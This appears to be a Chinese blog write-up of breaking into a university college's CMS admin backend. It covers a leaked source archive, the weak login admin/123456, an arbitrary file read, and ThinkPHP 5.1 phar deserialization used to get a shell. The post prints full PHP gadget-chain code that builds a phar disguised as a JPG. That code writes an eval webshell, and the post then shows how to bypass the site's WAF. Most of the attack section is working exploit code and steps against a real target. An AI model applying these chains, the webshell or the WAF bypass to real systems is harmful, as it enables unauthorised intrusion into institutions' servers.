某某大学某学院后台Phar反序列化GetShell

觉得这个洞还算有点意思,可以记录一下

首先在另一个二级学院进行目录扫描时发现源码www.rar,并且通过一些页面测试推测这两个二级学院应该是使用了同一套CMS

分析源码,发现使用的是ThinkPHP 5.1.34 LTS框架

在这里插入图片描述

通过APP、Public得到后台访问路径/bhadmin

在这里插入图片描述

在这里插入图片描述

后台登陆存在弱口令(弱口令真是永远滴神):admin/123456

分析源码,发现在System控制器下有一个showlog()方法

在这里插入图片描述

	public function showlog()
	{
		$path    = input('post.path','');
		if ($path == '') return json(0);
        if (!file_exists($path)) return json('文件不存在');
        $content = file_get_contents($path,false);
        return json($content);
    }

$path接收的是post传参,参数名是path,如果$path为空,返回为0,否则会检测该文件是否存在,如果存在则file_get_content()读取成json格式返回。input()方法功能如下:

if (!function_exists('input')) {
    /**
     * 获取输入数据 支持默认值和过滤
     * @param string    $key 获取的变量名
     * @param mixed     $default 默认值
     * @param string    $filter 过滤方法
     * @return mixed
     */
    function input($key = '', $default = null, $filter = '')
    {
        if (0 === strpos($key, '?')) {
            $key = substr($key, 1);
            $has = true;
        }

        if ($pos = strpos($key, '.')) {
            // 指定参数来源
            $method = substr($key, 0, $pos);
            if (in_array($method, ['get', 'post', 'put', 'patch', 'delete', 'route', 'param', 'request', 'session', 'cookie', 'server', 'env', 'path', 'file'])) {
                $key = substr($key, $pos + 1);
            } else {
                $method = 'param';
            }
        } else {
            // 默认为自动判断
            $method = 'param';
        }

        if (isset($has)) {
            return request()->has($key, $method, $default);
        } else {
            return request()->$method($key, $default, $filter);
        }
    }
}

showlog()方法参数可控,并且$path传入file_exists()file_get_contents(),首先这里是一个任意文件读取,但是重点不是这个哈,并且ThinkPHP 5.1.x在网上有很多公开的反序列化利用链。众所周知。Phar在压缩文件包时,会以序列化的形式存储用户自定义的meta-data,配合phar://协议就能在某些函数(一般是文件操作函数)等参数可控的情况下实现自动反序列化操作。

对Phar反序列化有不理解的可以参考我的这篇文章:由浅入深理解PHP反序列化漏洞

那么我们如果在后台传入一个构造好的phar文件,然后在$path的位置使用Phar://协议访问改文件,即可触发phar反序列化showlog方法的访问路由:/bhadmin/system/showlog

在这里插入图片描述

然后需要找到一个上传点,并且能获取上传文件的绝对路径。

在这里插入图片描述

添加资料这里有个编辑器,可以上传图片预览,可获得绝对路径

在这里插入图片描述

综上所述即可构造Phar反序列化GetShell,直接用网上公开的链子

<?php
namespace think{
    abstract class Model{
        private $withAttr = [];
        private $data = [];
        public function __construct($function,$parameter){
            $this->data['smi1e'] = $parameter;
            $this->withAttr['smi1e'] = $function;
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {}
}

namespace think\process\pipes {
    use Phar;
    use think\model\Pivot;
    class Windows{
        private $files = [];
        public function __construct($function, $parameter){
            $this->files = [new Pivot($function, $parameter)];
        }
    }


    $function = 'assert';
    $parameter = 'phpinfo()';
    $a = new Windows($function, $parameter);
    $phar = new Phar('test.phar');
    $phar->stopBuffering();
    $phar->setStub(file_get_contents("pic.jpg") . '<?php __HALT_COMPILER(); ?>');
    $phar->addFromString('test.txt', 'test');
    $phar->setMetadata($a);
    $phar->stopBuffering();
}

同目录下随便放一张名为pic.jpg的图片,运行该文件,将生成的test.phar修改后缀为test.jpg然后上传

在这里插入图片描述

回到showlog()方法处,直接触发:触发:path=phar://public/kindedit/attached/image/20230531/64765e58e79df.jpg

在这里插入图片描述
构造写入Shell

<?php
namespace think{
    abstract class Model{
        private $withAttr = [];
        private $data = [];
        public function __construct(){
            $this->data['smi1e'] = 'D:\\xxx\\xxx\\xxx\\public\\kindedit\\attached\\image\\20230531\\d72a3676c4413.php';
            $this->data['jelly'] = '<?php @eval($_POST[m]);?>';
            $this->withAttr['smi1e'] = 'file_put_contents';
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {}
}

namespace think\process\pipes {
    use Phar;
    use think\model\Pivot;
    class Windows{
        private $files = [];
        public function __construct($function, $parameter){
            $this->files = [new Pivot($function, $parameter)];
        }
    }


    $function = 'assert';
    $parameter = 'phpinfo()';
    $a = new Windows($function,$parameter);
    $phar = new Phar('test.phar');
    $phar->stopBuffering();
    $phar->setStub(file_get_contents("pic.jpg") . '<?php __HALT_COMPILER(); ?>');
    $phar->addFromString('test.txt', 'test');
    $phar->setMetadata($a);
    $phar->stopBuffering();
}

在这里插入图片描述
成功写入shell,但是蚁剑连接还是报错,猜测有waf

在这里插入图片描述
把蚁剑流量代理到Burp

在这里插入图片描述

测试发现确实是有WAF

在这里插入图片描述

但是经过多次测试发现这个waf比较友好,过滤了@base64_decode关键字,可以绕过,base64_decode可以使用拼接绕过,@直接可以去掉,不影响功能,直接使用Burp的匹配/替换功能

在这里插入图片描述
绕过waf之后即可成功连接shell

在这里插入图片描述
在这里插入图片描述

如果觉得这样代理到burp做替换不太方便,也可以上传冰蝎的AES加密shell,就不用绕过waf

在这里插入图片描述

阅读终点,创作起航,您可以撰写心得或摘录文章要点写篇博文。去创作
  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
PHP序列是将PHP对象转换为字符串的过程,以便在存储或传输时使用。序列后的字符串可以通过序列操作重新还原为原始的PHP对象。\[1\] 在PHP中,可以使用serialize()函数将对象序列为字符串,然后使用unserialize()函数将字符串序列为对象。这样可以方便地在不同的环境中传递和存储对象数据。 然而,序列操作也存在安全风险。恶意用户可以构造特定的序列字符串,以触发PHP序列漏洞,导致代码执行或敏感信息泄露。因此,在进行序列操作时,需要谨慎处理输入数据,验证和过滤不可信的序列字符串。 除了使用serialize()和unserialize()函数,还可以利用一些特殊的方式来触发PHP序列漏洞。例如,通过Phar序列,可以在不使用unserialize()函数的情况下触发PHP序列漏洞。当使用phar://伪协议读取phar文件时,会自动序列meta-data中存储的信息,从而导致漏洞触发。\[2\]\[3\] 因此,在开发和使用PHP应用程序时,需要注意对序列序列操作进行安全处理,避免潜在的安全风险。这包括对输入数据进行验证和过滤,限制序列操作的权限,以及及时更新和修复可能存在的漏洞。 #### 引用[.reference_title] - *1* *2* *3* [PHP序列序列](https://blog.csdn.net/weixin_44033675/article/details/116809651)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值